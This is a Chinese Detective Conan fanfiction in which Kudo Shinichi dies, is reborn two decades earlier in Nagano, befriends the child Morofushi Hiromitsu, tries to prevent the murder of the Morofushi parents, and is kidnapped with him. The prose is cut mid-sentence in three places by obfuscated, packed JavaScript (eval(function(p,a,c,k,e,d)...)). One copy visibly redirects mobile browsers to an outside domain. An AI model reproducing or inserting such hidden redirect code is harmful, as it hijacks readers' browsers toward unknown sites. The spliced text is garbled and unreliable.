《工藤新一在努力了》 1. 寥落 “不,你才不是所谓的‘继承者’,你只是觉得乌丸莲耶不切实际的美梦对你有利,以此为借口扩张你的□□世界罢了。”站在警报声中的男孩浑身浴血,血珠沿他削瘦的下颌一颗颗坠落,砸在碎裂的大理石地板上,溅成细小的红雾。 他举枪冷笑:“你好啊,‘那位先生’。” 几百米外的临时指挥部,众多警察、各国情报机构的特工们反反复复地试图重新连接到深入禁区的那支汇集了各国精英的小队。然而,公安、CIA、FBI、MI6,没有任何一方能再与里面接通讯息。那幢深山里的别墅四周已经燃起熊熊大火,灰尘和烟雾迷得人睁不开眼。 茱蒂·斯塔林心乱如擂鼓。她的指尖死死扣住对讲机,塑料外壳发出不堪重负的轻响。耳麦里只剩电流的嘶嘶声,像钝刀锯着神经。赤井秀一和江户川柯南的讯号是最后两个消失的——在那之前,每一次“断联”都意味着一条生命的终结。她强迫自己深呼吸,喉咙里却全是铁锈味。身旁的FBI探员们屏息列队,枪机保险开合的声音此起彼伏,像濒死的心跳。 “呲啦——呲啦——” “有信号了?” 赤井务武几乎是冲进来的,靴底带起的泥水溅在战术地图上。 风见裕也的嗓音已经劈了叉,却还在嘶哑地吼:“都别说话!那孩子有回音了!” 一时间,所有人都停下了手里的动作。世界忽然安静。雨声、风声、燃烧声,全被耳麦里那串微弱的电流吞没。这个死灰复燃的通讯频段属于他们小小的指挥官,那个奇迹诞生的孩子——此刻,他的声音正从地狱深处浮上来。 “你——呲啦——我会——呲啦——选择自己——” 电流像一把钝剪,把每个字剪得支离破碎。茱蒂的指甲陷进掌心,她却感觉不到疼。 “呲啦——呲啦——你没听过……夏洛克——” “如果——呲啦——毁灭,为了——呲啦——公众——呲啦——,我很乐意——呲啦——死亡。” 风见裕也的肩膀垮了下去,仿佛有人抽走了他的脊椎。赤井务武的右手悬在半空,指节泛白,像要抓住什么却只剩空气。 完整的句子在每个人脑中自动拼合,像玻璃碎片拼成一把匕首,笔直插进胸腔。 ——你以为我会选择自己活命?你没听过夏洛克·福尔摩斯的话吗? ——如果可以确实地将你毁灭,为了公众的利益,我很乐意迎接死亡。 对讲机里传来极轻的一声笑,像孩子终于解开一道难题后的叹息。 “对不起啊——” 茱蒂的瞳孔骤然紧缩。她听见自己喉咙里挤出的声音不像人声:“不要——!!!” 五月四日凌晨零时,长野深山别馆地下室爆炸,火光把夜空照得宛如白昼。混凝土碎块与燃烧的檩木暴雨般倾泻,将一切声响、一切呼吸、一切尚未说出口的话,统统埋进滚烫的废墟——整栋建筑全面坍塌,进入者无一生还。 三分钟后,最后一块楼板轰然坠落,尘烟升腾,像一场无声的默哀。 工藤新一猛地睁开眼。 窄仄的老旧宿舍里,潮气从地缝往上爬,带着旧榻榻米特有的霉味。窗外的柳枝被夜风拨得沙沙作响,碎影在纸门上晃,像是谁在反复擦拭一道永远擦不净的血痕。 ……是梦。 然而,那日火光冲天的别馆、那场用鲜血引燃的烟花仍在视网膜深处灼烧——别馆的玻璃在热浪里扭曲成泪滴,横梁炸成漫天火鸦,血与火交织成一场无人观赏的烟花——那不只是幻梦一场。只是对于现在的工藤新一而言,都成为了前尘旧事。 简而言之,他重生了。 一个月前—— 所以说,他还是死了。 爆炸当日,工藤新一飘在自己的尸体——不对,他肯定留不下尸体,应该说是在爆炸上空——心想。 嗯……不过,他都被炸成灰了,那些资料、药剂必然也存留不住。如果他的计划不出差错,那外围的警官先生们应该能在安全范围内包围别馆,灰原那家伙也能平安无事。一命换一城,听起来还挺划算的。 只是,他明明答应了爸爸妈妈、大叔、小兰、阿笠博士……还有好多人,他一定会回去的。 又食言了啊。 “小弟弟?小弟弟?” 这是……哪?我怎么……我怎么还能听见声音? “——能听见我说话吗?” 这声音……没听过啊…… 工藤新一耳边嗡鸣声阵阵,全身灼烧一般的疼痛。他艰难地撑开眼皮,先映入眼帘的是一张圆圆的、被汗水蒸得发亮的脸——一个看起来才二十出头的胖警察正俯身看他,警帽下的刘海被汗水黏成几绺。 “小弟弟,你还好吗?你爸爸妈妈呢?” 胖警察的声音放得极轻,仿佛怕吓着一只刚断奶的猫。 工藤新一心里咯噔一声:这张脸他没见过,警衔样式也老得离谱。他本能地警觉,面上却迅速切换成稚童的懵懂,睫毛扑闪两下:“警察叔叔,这里是哪儿呀?” “这里是长野县警察本部,孩子。” 旁边传来玻璃杯与木质桌面的轻碰声。一位扎低马尾的女警半蹲下来,把插着吸管的橙汁递到他手边。塑料杯壁凝着水珠,冰凉地贴在他掌心。 “宝贝,你叫什么名字?” 果汁的甜香在空气里荡开,工藤新一没敢喝——倒不是他不相信这里是警察本部,只是这一切太过离奇。 他明明刚刚才死于按下□□和“那位先生”同归于尽……可通过他旁边桌子上的报纸上的日期、他眼前警官们的着装打扮…… 这里是二十二年前的长野? 瞧着那孩子怔怔握着果汁的样子,女警与胖警官对视一眼,都不忍心再追问。可流程像一条冷冰冰的传送带,终究要把人往前推。 “再试一次,好吗?”女警蹲下来,掌心覆在新一冰凉的指尖上,“宝贝,告诉姐姐,你叫什么名字?爸爸妈妈叫什么?” 工藤新一眨了眨眼,泪珠顺势滚落,在裤子上晕开深色的小圆点。他把所有惊惶、算计、怅然一并揉进颤抖的尾音里,像把锋利的刀锋藏进棉花: “我叫……工藤新一。” “剩下的……我什么都想不起来了。” 一句话,等于给自己钉上一块崭新的身份牌,也把过去十九年的人生反锁进心底。 之后的十五天,长野县警察本部的白色荧光灯下,档案夹开开合合,电话铃此起彼伏。工藤新一最初几天还提心吊胆——万一这群敬业的警官顺藤摸瓜,真把十九岁的工藤优作和十七岁的藤峰有希子翻出来,他该怎么解释?然而很快他就发现,这个时代没有DNA数据库,没有全国联网的失踪儿童系统,连传真机都时常卡纸。警官们把“工藤新一”三个字输入老旧终端,得到的只有一片空白。 最初把他抱进警署的胖警官姓佐佐木,二十八岁,单身,笑起来像刚出炉的奶油面包。值班表之外的时间,他总爱晃到留置室门口,把便利店的肉包塞进新一手心;夜里巡逻回来,他还会蹲在折叠床边,用圆珠笔在报纸边栏画简易填字游戏,哄孩子睡觉。 工藤新一默不作声地收下所有好意,然后在某个雨夜,用铅笔在便签纸上写下一句提示——三分钟后,佐佐木警官冲进雨幕,按图索骥抓到了撬车行窃的惯犯。笔录做完,整个分局震动:那个“失忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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蓝白色的那颗,是工藤新一两年多以来梦寐以求的最终解药;红白的那颗,则是一枚改版APTX-4869。 那个装着毒药和解药的小盒子仿佛某种上天降下的魔盒,就算有了损耗,里面的药丸、药盒都会在两天之后重新出现或是焕然一新,像被施了某种时间循环的魔法。 ……有点像技能冷却,冷却时间是两天。 更神奇的是,他拿到那枚药盒时,脑海里突然出现了灰原哀——不,声音很成熟,应当是宫野志保的声音。她像是在念台词一般,公事公办地说: “给你的礼物,江户川君。盒子里是你想要的解药。另一颗是组织最后的存货,我把它调成了‘只会变小’的版本——死亡概率被我压到零,不过样本只有我一人。谁叫你和玛丽姨妈都要逞强去前线?——嘛,算了…… “生日快乐,工藤,做个好梦。” 随后,一条隐形的规则被“写”进他的直觉:这个世界上只能同时出现一个药盒、一枚毒药、一枚解药,也就是说,除非彻底损毁、吃下,否则解药毒药都不会重新出现。简直是从根本上杜绝了江户川柯南时期“囤药”的恶习。 这意味着他现在的身体虽然还是刚变成“江户川柯南”时期的七岁状态,但却有无限次的机会变成成年后的样子,等他长大后,也有无限次的机会变成小孩子的模样。 只要吃药就行了。他最在行。 至于身份ID? 自称九岁的孩童指纹和虹膜在系统里一片空白,连出生证明都能现场手写。福利院登记册上,他只需歪歪扭扭写下“工藤新一”四个字,便轻而易举地把自己的名字从死亡名单里偷了回来。 他终于能做回工藤新一了,哪怕这里并不是他所熟悉的时代。 2. 明日 福利院的日子像一碗被反复加热的白粥,表面浮着一层薄薄的膜,底下却黏得发苦。 手续要等、档案要核,工藤新一便只能在灰白走廊与操场之间来回踱步。午后日光透过铁窗栅栏,把尘埃切成一段段发光的碎线,落在《福尔摩斯探案集》发黄的扉页上——书是捐来的,边角卷翘得如同被谁啃过。他读得飞快,却味同嚼蜡;那些早已倒背如流的句子,此刻只是填补空白的噪音。 空下来,记忆便趁虚而入。 操场上滚过的足球带着元太的喘息、光彦的呼喊、步美跑丢的一只蝴蝶结;塑料枪“哒哒”空响,枪口却忽然变成高木警官决绝的背影;食堂的咖喱饭颜色寡淡,一入口却泛起冲矢昴那锅半生不熟的炖菜味,然后定格在回忆里有希子烹饪的最后一餐饭。 每一次回忆都像有人拿钝刀子在旧伤口上慢慢锉,夜深人静时尤其锋利。 他开始失眠。 月光把窗帘的印花投在天花板上,像一片浮动的铁锈。他睁着眼,甚至能听见隔壁屋的孩子磨牙、说梦话,听见自己的心跳在耳膜里打鼓。睡着以后也不安生,梦里别馆的横梁砸下来,火舌卷住谁的脚踝;他惊醒时浑身冷汗,把单薄被子拧出水来。 院长阿姨在某个凌晨撞见他缩在走廊尽头,抱着膝盖怔愣地看着夜色。 “这样下去可不行。”院长揉着惺忪睡眼,却下了决断。 ——孩子胡思乱想,多半是闲的——换个朝气蓬勃的环境就好了。 于是次日清晨,薄雾还未散尽,工藤新一已经站在市立小学的校门口。 他穿着一件浅灰色的连帽卫衣、深蓝牛仔长裤,脚上是福利院统一发放的白色帆布鞋,鞋头沾了点操场上的红土。书包是院长阿姨连夜买的,帆布上印着一只笑得傻乎乎的松鼠。 新班主任是个三十出头的女人,姓斋藤,马尾扎得又高又紧,走路带风。她回头冲他弯了弯眼睛:“工藤君,从今天开始就是三年级A班的小成员啦!” 工藤新一抬头望见教学楼外墙上新刷的黄色油漆,在晨光里亮得刺眼。 他无声地叹了口气,把帽檐往下压了压。 第三次小学生活,就这样提前、且毫无商量余地地开幕了。 他这次没有戴眼镜,毕竟这个世界上没人认识工藤新一或是江户川柯南——他把眼镜折成小小一块,揣进卫衣口袋。没有那副平光镜的遮挡,他遗传自母亲的蓝眼睛像被雨水洗过的晴空,澄澈得几乎反光。 按规矩,新生第一天不用上课,只由老师带着“认路”。可工藤新一差点儿没能走出教职办公室—— “哎呀,睫毛好长!” “脸好小,像洋娃娃!” “宝贝,告诉老师,喜不喜欢草莓牛奶?” 没了镜框的掩护,他那副“软萌孤儿”的杀伤力直接翻倍。女老师们把他围成一圈,没收上来的零食哗啦哗啦摆在他面前;路过的级部主任一声暴喝,又把可乐雪碧全没收,换成几盒低糖牛奶。工藤新一被抱得透不过气,终于在第十二次被揉脑袋时,面无表情地收敛了所有无辜,眼底闪过属于十九岁岁侦探的冷光——“呐呐,老师们有没有听说过纽约碎尸案呀?我可以给老师们讲故事哦。” 空气瞬间降温。 班主任斋藤老师趁机拽住他的小手,像抢到限量版玩偶,笑眯眯地宣布:“我带他去逛校园啦!” 学校确实袖珍:两栋教学楼夹一条百米跑道,后门出去就是居民区。工藤新一一路默记消防栓、监控死角、下水井盖的位置——老习惯,改不了。 放学铃响前,斋藤老师把他领到三年级A班的后窗。 “这就是你明天要来的班级。”她压低声音,“大家性格都很好,不用怕。” 工藤新一机械地点点头,心想他已经是第三次上小学了,哪怕是熟能生巧也足够他度过“愉快的小学生活”了。 他懒懒扫视教室——彩色铅笔盒、歪七扭八的黑板报、后排女生偷偷传的小纸条。忽然,视线停住。 靠窗第三排,一个穿白色连帽衫的男孩正低头写字。阳光斜斜落在他的侧脸,碎发投下一道笔直的阴影,像一把收拢的折刀。他有一头乌黑的短发,小脸白净、有一点婴儿肥,脸上总带着一点淡淡的笑意。但引起工藤新一关注的还是他那一双令人眼熟的眼睛。 上挑的蓝色眼睛,因为年幼的原因还显得圆润幼稚……但是这个眼型—— 很显然跟长野县的诸伏高明警官一模一样啊! “怎么了?工藤君?”班主任老师发现他一直看着那个男孩儿,“是看到了认识的同学吗?有印象?” 工藤新一摇摇头,用柯南式的可爱声音问她:“呐,老师,这个男生叫什么名字啊?我感觉……好像以前在什么地方见过他呢。” 班主任老师很高兴他有一点印象——毕竟这孩子失忆了——于是认真地回答他:“这个男生叫做诸伏景光哦。” 果然。 回福利院的路上,工藤新一一言不发。他帽檐压得很低,只露出一点下颌的弧线。随行的保育员几次回头,都被那张过分安静的小脸劝退——孩子若有所思的神情,像一道生人勿近的透明墙,因此不敢打扰,一路无话地把他送回了他在福利院里的房间。 工藤新一仰面躺在床上。 诸伏景光。 他没记错的话,这位就是高明警官的弟弟,也就是降谷先生那位在组织中卧底殉职的幼驯染。 不过……根据降谷先生所说,他小时候是在东京与景光先生相遇的,而高明警官一直在长野生活。那小时候的诸伏景光为什么会在长野县?他不是应该去了东京,见到降谷先生…… 不对,不对,诸伏家的老家一直都是长野县。否则高明警官不会留在长野县警警署,隔壁群马县的山村警官不是也说他小时候跟景光先生是玩伴吗? 一定有什么原因……有什么原因让景光先生离开长野离开哥哥,独自一人去了东京生活。 嘶……是什么? 他记得他好像看过长野这边的案卷…… 诸伏……诸伏…… ——诸伏夫妇家中被杀! 对。工藤新一猛地跳起来,抓起书桌上的纸笔把刚刚脑海中想起的有关诸伏家惨案的信息写下来。 持刀私闯民宅、男性、精神状况不太正常、屋里仅剩下躲在橱柜里的次子存活…… 至于案发时间……他记得当初那个案子发生后,景光先生才去了东京和降谷先生相遇,而据降谷先生说,当时宫野夫妇才刚离开不久,所以按照灰原的年龄逆推——也就是今年! 而那件案子的报案人就是诸伏高明警官,隔了第二天才报了警——好像是因为高明警官当时在参加学校的夏令营。 所以这个案子就发生在今年的暑假,就在暑假的某个晚上! 但是,具体的日期……他实在是想不起来了。嗯,这一点也许可以问问看高明警官的那个夏令营的起止时间。 不过“想当然”是侦探的大忌,只要偏差一晚,蝴蝶的翅膀就可能掀起飓风。他需要证据、需要日期、需要一条可以逆向拆弹的安全线。 他心里甚至隐隐萌生出“不确定”带来的紧张——他的重生,真的能改变过去吗? 夜像被墨汁一层层晕开的宣纸,福利院老旧的风扇吱呀作响。 然而,也许是因为见到了诸伏景光,工藤新一今晚的梦境难得不是什么惨绝人寰的噩梦。 混沌深处,一束冷白的追光打下来——他像是用一个旁观者的视角,看着那个金发的身影正在与“柯南”对话。那时的江户川柯南还不知道,这段有关于降谷零的过去的对话,会成为降谷先生对他说的最后一次实话。 “嗯……hiro啊,”梦中的降谷零手上把玩着一把警用手枪,金属在昏黄灯泡下泛着温吞的光,像把回忆上了保险,“我和他是幼驯染哦。” 金发男人的声音低而软,带着笑意,却像把刀背贴在心脏上慢慢拖:“hiro照顾我比较多一些吧,我小时候经常打架,他有时候也跟我一起,不过,一般都是我打架、他给我处理伤口呢。” “虽然hiro给人的感觉很温柔,但是他跟萩原一样,其实都是不好接近的人。要不然也不会在组织里拿到代号了。” “料理刚开始确实是hiro教给我的喽,总不能一直蹭他的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是他作为侦探的初心。 “那么,让我们用掌声欢迎新同学——工藤、新——一!” 班主任斋藤老师把尾音高高扬起,仿佛要把名字甩向天花板。粉笔在她指间转了个圈,阳光恰好从窗口跌进来,碎金溅了一地。她眨眨眼,错觉似的——今天的工藤新一比昨天更亮眼,像有人偷偷替他擦亮了世界。 教室里的掌声像一群麻雀扑棱棱飞起。 工藤新一背着书包,从门口走到讲台,步子稳得像在走秀。他微微弯腰,声音清亮得像刚开瓶的汽水:“大家好,我是工藤新一,请多指教!” 班主任老师观察着同学们的反应,发现大家都抱着善意甚至热情,心里很为自己的学生高兴。她指着班级里特地挪出的空位,对工藤新一说:“那么,工藤同学就坐在那个临窗的位置上吧。” ——那个位置,正好是诸伏景光的左侧。 工藤新一心里“啧”了一声:老师八成误会自己昨天盯着诸伏景光是因为“眼熟”,索性顺水推舟。也好,省得他再找机会换座。 他快步过去,书包“咚”地塞进抽屉,动作干脆得像收枪。 旁边传来软软的童音,甚至带着刚换过牙的轻微漏风感:“你好,我是诸伏景光。” 诸伏景光笑着说:“以后我们就是同桌了,有什么问题都可以问我的,工藤同学。” 工藤新一看着他温暖的笑容和完全让人抗拒不了的圆润猫眼,也笑着说:“那以后就请多多关照,诸伏同学。” 两只小手握在一起晃了两下,像完成某种秘密仪式,然后迅速收回,乖乖摆在桌面。铃声恰到好处地响起,他们马上坐好等待第一节课的到来。伪小孩·工藤新一这才卸掉了刚刚类似于“面基”的激动,看着眼前学了第三遍的“四四十六”,忍不住神游天外。 ……他该不会把降谷先生和景光先生的幼驯染经历给蝴蝶掉吧? 工藤新一盯着课本上滑稽幼稚的插画,忽然觉得这比东都铁塔的定时炸弹还难拆。 3. 惊飞 但无论如何,总之诸伏景光很喜欢他的新同桌。 他的新同桌有一双湛蓝色的眼睛,总是显得那么睿智;他上课的时候总是懒洋洋的,看似没有认真听课——实际上也没有就是了——但是老师提问时总能对答如流,什么都难不倒他;他知道很多很多知识,也很会“推理”,帮了班级同学和老师很大的忙;他的足球踢得特别好,踢足球的他像是会发光;他平时总是一副酷酷的样子,有一种很冷静也很清澈的气质,但是非常乐于助人…… 诸伏景光上一个这么推崇的男孩子还是他的哥哥高明,可两个月下来,他已经在家里提过无数次“工藤新一”了。 诸伏高明淡笑着看着小景光滔滔不绝:“那景光有没有和工藤君成为朋友啊?” “有!新一君经常拉着我一起踢足球、一起看书,还很愿意帮我解答问题!” 景光说这些话时,连鼻尖都微微发红,眼睛亮得像被擦亮后的猫眼石。诸伏夫妇对视一眼,从彼此眼里读到同一种久违的欣慰——自从长子高明升入中学、变得愈发寡言后,家里已经很久没出现这么鲜活的热闹。 诸伏景光一向是个文静的性子,看似对谁都一样友善,可实际上很少有人能真正被他划进“自己人”的范畴。他上小学三年多以来,从没有这么积极地跟诸伏夫妇谈论某个同学,诸伏夫妇和他的哥哥诸伏高明一直对此很担忧——直到工藤新一半路入学。 “那孩子确实很优秀,”饭后,诸伏英拓(诸伏爸爸)在厨房和妻子一起洗碗,“我听景光他们班老师说,工藤君很不一般,虽然偶尔也会露出些孩子气,但是平日里为人处世、待人接物都非常地成熟。而且,极其聪慧,知识面相当地广——几乎跟高明差不多了。” 诸伏英拓就在景光的小学任教,不过是在其他班级。 诸伏妈妈——诸伏加奈问:“那你觉得,景光适不适合跟他交往?我还没见过工藤君,你觉得……” “不用担心那种事,景光也有自己的判断力,”诸伏英拓说,“我知道你是担心景光交什么不好的朋友,不过工藤君那孩子我也接触过,就像景光说的,是个非常正直阳光的人,而且气质很干净——这可不是能伪装得出来的——他确实是个好孩子。嗯?别担心了?我倒觉得,景光能跟工藤君这样的孩子做朋友,也是景光的幸运。” “就像高明跟敢助君?” “就像高明跟敢助君。” 诸伏加奈擦净手,抱住自己的丈夫、窝在他怀里:“要是工藤君真像你们说的那么好,那景光的眼光很不错嘛——不愧是我儿子,连那么好的朋友也能交上。诶,英拓,你说要不明天晚上让景光邀请人家来家里吃顿晚饭吧——诶,要不我先跟那孩子家里人说说?” “都可以啊,”诸伏英拓失笑,“不过,加奈啊,工藤君情况有些特殊……” 他将自己了解到的有关于“失忆”和“福利院”的事告诉了妻子。诸伏加奈抿抿嘴:“那——那更要让景光把工藤君邀请过来了——我现在就跟景光说,让他请工藤君明天就来。”说罢就风风火火地去找诸伏景光了。 果不其然,诸伏景光相当高兴自己的朋友被父母认可,他把那张写着电话号码的纸条从笔盒里拿出来,当成什么稀世珍宝似的捧在手心,蹦蹦跳跳地穿过走廊,拖鞋哒哒地敲在地板上,像一小串风铃被晚风撞得乱响。 “妈妈——那我打电话咯?” 厨房里,诸伏加奈刚把碗筷归位,闻声探出头来。她看见儿子眼睛亮得像两粒刚洗过的黑曜石,便笑着把手在围裙上擦了擦,吓唬他:“当然可以,不过要先洗手——你手上是不是还沾着饭粒?要是电话弄脏了,小心你哥哥说你。” 景光“哦”了一声,却舍不得先去水池,而是踮着脚尖把纸条先放在电话机旁,像给它也找好了位置,这才飞快地冲去洗手。回来时,水珠还顺着他的指缝往下滴,他随便擦了两下,就郑重其事地按下那一串号码——一个数字一个数字,用食指尖轻轻戳,仿佛怕把号码戳疼似的。 听筒里传来“嘟——嘟——”的长音时,他紧张得把电话绳缠在自己手腕上,缠了一圈又一圈。 “喂,你好。” 电话那头传来工藤新一刻意压低、却还是带着少年清朗的声音。诸伏景光立刻把背脊挺得笔直,像在课堂上被老师点名。 “新一!是我!景光!妈妈说明天想请你吃晚饭,你有什么想吃的吗?我有让妈妈准备冰咖啡哦!” 说到最后,他忍不住把尾音扬得高高的,像要把自己所有雀跃都顺着电话线递过去。 工藤新一握着那部对他而言几乎算得上古董的老式翻盖手机,站在福利院狭窄的走廊里。窗外是长野傍晚的群山剪影,最后一抹夕阳把云边烫成柔软的橘红,像有人在灰蓝天幕上点了一把温柔的火。他听见景光那边话筒里隐约传来电视的音效,还有诸伏英拓带着笑意的嗓音:“景光,别缠太久,一会儿叫你哥哥下来吃水果。” ——那是活生生的、带着喧闹与人声的人间烟火。 若是刚入学时,他绝不会答应。 那个时候,他看诸伏景光,更像在看一张被时间漂白的旧照片:照片里的孩子笑得眉眼弯弯,可他知道再过十几年,这张照片会碎在东京深夜的天台上,碎得悄无声息。成年人与孩子的友谊?太荒唐了。他救人,只是一种理所应当的惯性,不计后果不计得失,更不需要任何答谢,也不想因此留下羁绊。 然而景光像一束不肯熄灭的光,执拗地照进他画好的牢笼。 那天傍晚,长野的河堤上,漫天都是初夏草木的清香。诸伏景光啪嗒啪嗒追上来,一把拽住他的袖口,仰起脸,声音软却认真: “我总觉得新一君像一阵风,有好多心事……不可以跟我说吗?新一君是景光的好朋友哦!” 那一瞬,工藤新一听见自己胸腔里有什么东西“咔哒”一声裂开了。 原来他一直都在自欺欺人。他以为自己适应了,但其实却还是不敢跟这个年代产生联系,永远疏离地把自己隔在和世界不远不近的地方。 他以为自己可以像旁观者一样,把这一切都当成一场漫长的任务:找到回去的路,顺手救下几条人命,然后挥一挥衣袖,不带走一片云彩。可事实上,他根本没能适应这个没有父母、没有博士、没有大叔、没有兰、没有好多好多人的世界。深夜醒来,他会下意识去摸手机,然而二十年后的手机号当然收不到任何消息;听见警车鸣笛,他会条件反射地喊叔叔过来看,可他周围空无一人。 孤独像一条无声的河,他一直在河中央站着,水已经漫到胸口,他却假装自己还能呼吸。 那是二十年时间差带来的割裂,是举目无亲的孤寂。 而景光,这个真正的九岁孩子,却用他软软的小手握住了他的手腕,把他往岸上拉。 “好,那我明天就叨扰了。”工藤新一听见自己说。“替我谢谢阿姨——嗯,景光妈妈做饭都很好吃呢,我早就想好好尝尝了,明天见。” 电话那头立刻传来景光一声小小的欢呼,像一朵蒲公英“噗”地炸开。 挂断电话后,工藤新一在昏暗的走廊里站了很久。 他想起降谷零曾经对他说,诸伏景光之于他,就像半身。那时他不解——人怎么可能成为另一个人的半身?现在他隐约明白了:当你独自跋涉在一条看不见尽头的长路上,有人却愿意把他的手递给你,告诉你“我在这里”,那一刻,你就再也分不清自己与他之间,究竟是谁填补了谁的缺口。 他低头看了看自己的掌心。 那上面还留着诸伏景光下午递给他糖果时,不小心沾到的糖霜,薄薄一层,像落了一层会融化的雪。 工藤新一轻轻把掌心合上。 他决定从现在开始,不再把诸伏景光当作“未来会殉职的那位卧底先生”,而是当作此刻正坐在餐桌前、因为朋友明日要来做客而兴奋得晃腿的小男孩。 第二天放学后,诸伏英拓领着兴奋的诸伏景光带工藤新一一起回了诸伏家。 其实不用他领,工藤新一也找得到这里。前段时间他在调查诸伏家的案子时,不知道悄悄来这附近了多少次。不过每次都是无功而返——他真的看不出有人会跟诸伏夫妇结仇。 “诸伏夫人好,高明哥哥好。”工藤新一乖巧地跟长辈打招呼,“打扰你们了!” 诸伏加奈看这孩子粉雕玉琢的,还有种说不出的矜贵,也是很喜欢:“你好呀工藤君,请进吧。” 诸伏加奈的手艺很不错,工藤新一甚至吃出了一点日后安室先生的味道,心想安室先生的厨艺果然受了诸伏家的影响。一顿晚餐,宾主尽欢。 “妈妈妈妈,新一君是超厉害的侦探哦!”诸伏景光第一次邀请朋友来家里吃饭,异常兴奋,“新一君今天认出了小偷!” 那是侦探的必修课吧……工藤新一无奈地想。没想到诸伏英拓也附和儿子:“嗯,加奈,我听说工藤君抓住了一个想来学校偷东西的贼呢。” 诸伏高明摸着弟弟的脑袋,冷静的脸上也露出了一丝探究。 高明哥哥你怎么也这样啊……工藤新一半月眼。 看着诸伏一家四口好奇的表情,工藤新一无奈地开口:“那都是巧合啦。我没认全学校的老师,但因为恰好闻到他身上新鲜的烟味,就觉得那个人有点可疑——学校有严格规定不可以在学校里抽烟的吧,而犯人在作案前一般都会为了消除紧张而抽烟冷静一下——所以就跟在他后面看了一会儿,发现他好像不太认识路还总是躲着人,后来又趁着上课直奔没有人在的老师办公室……啊,运气好而已啦。” 诸伏夫妇和诸伏高明对视一眼——在工藤新一解释之前,他们都以为是景光夸大其词,没想到还真是认出来的,还那么有理有据。 “啊,这都是福尔摩斯教给我的啦……” 然而越解释,诸伏家的家长们越觉得这孩子了不得——九岁的孩子一般看不下那么厚重的福尔摩斯探案集吧? 总之,工藤新一用一顿饭的时间成功获得了诸伏全家的喜爱,此后几乎隔两天就去蹭一顿晚饭,顺便光明正大地在诸伏家门口搜寻嫌疑人蹲点的痕迹。他也问过诸伏加奈和高明,有没有什么人和他们家起过争执,但答案还是没有。 假期前几天,中午。 “妈妈说今晚她和爸爸都有事,所以我要自己回去——喏,这是妈妈昨天买的柠檬派,特地给新一君留了一份。”诸伏景光把便当夹层里的柠檬派推到工藤新一桌上,“所以新一君要不要跟我一起回家?爸爸说在冰箱里留了他做好的寿司,哥哥今晚有社团活动,晚上还会带敢助哥回家。” “我都可以啊,也好久没见过大和哥了。”工藤新一也不跟他客气,“唔,好吃——对了,我昨天看见学校旁边的那个书店新进了一批书,你一直想看的那本环海探秘杂志也有了,要不放学后先去书店看看吧。” “真的吗!”诸伏景光眼睛晶晶亮地看着工藤新一,上挑的猫眼瞪得圆滴流圆,“新一君怎么知道我想看那个!” 你上次回家路上一直瞟着旁边人手上的最新一期“环海探秘”,第二天还特意绕路去书店在杂志区找来找去,我当然猜得到喽。工藤新一回忆到。 “嗯——因为我是个侦探,这是最简单的推理哦。”工藤新一选择了幼稚的炫耀方式,没发觉自己正慢慢被同化成真正的小孩,“不过只能看一会儿,你还要回家吃寿司的。” “那就放学后一起去吧!”诸伏景光高兴地说,已经早早期待起放学了。 小学生放学早,工藤新一和诸伏景光放学路上行人很少。他们绕了个路去了书店,诸伏景光成功看上了他期待已久的杂志。而工藤新一兴致缺缺——现在书店里的书没有二十年后那么齐全,都是些大部头经典,他大多都看过。杂志他也没什么兴趣,就只好随便找了本工藤优作的推理小说,把书包往旁边一放,开始打发时间和陪小景光。 二十年前的推理小说还真是单薄啊,工藤新一心想,他老爸什么时候再出书呢? 话说今年他老爸的书就要拍成电视剧了吧? 忽然,他想起一件事——两年之后工藤优作和藤峰有希子结婚,那这世界上是会再出现一个“工藤新一”吗? 想想有点可怕啊…… “啪嗒。” 工藤新一猛地从自己的思绪中挣脱,看向了声音来源,是一本眼熟的《环海探秘》,而刚刚还在他旁边看杂志的诸伏景光已经没了身影。 “景光?”他疑惑地问了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137880|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句,有点警觉起来。他放下手里的书,捡起那本杂志,四处寻找诸伏景光的踪迹。 不怪他反应过激——他今天放学的时候一直觉得有些不安,但也没什么根据。又见景光那么期待来书店看杂志,就没提出直接回家的事。而且,诸伏景光在跟他一起时,从来不会不打招呼就自己一个人走掉。还有—— 工藤新一看着手里有些褶皱痕迹的《环海探秘》,攥紧了拳头。 在哪?景光现在在哪儿? 书店里本就没有几个人,工藤新一挨个观察都没有发现端倪。正当他路过一个高大的书架时,被人从后面一把抱起,脸上捂了麻醉药。 糟糕—— 最近的生活太安逸了吗……连警惕心都下降……了…… 工藤新一小猫崽似的挣动了两下,终于在那人贩子的禁锢下昏了过去。 而那个迷晕工藤新一的高大男人抱着小新一,假装在抱着自己睡着了的孩子,明目张胆地出了店门。 “嘶……”工藤新一慢慢清醒过来,“啊……” 钝痛从脑后漫上神经,大概是被放下时磕到了哪里。工藤新一环顾一周,发现这是一个有两个房间的破旧小木屋,所有的窗帘都拉着,屋里有一股腐烂的味道。两个人贩子就坐靠门的屋子里喝着酒,应该是觉得他们两个小孩子吸入了□□根本没有还手之地,连敷衍的绑都没绑,就把他们胡乱塞到了这个角落里。 耳边听不见人声和车声,根据能听到的鸟鸣声来判断,这里似乎是郊外。 诸伏景光正缩在他旁边,似乎很难受。 趁着人贩子们都没注意他们,工藤新一连忙小幅度地晃了晃他。“景光!景光!醒醒,能听见我说话吗?” 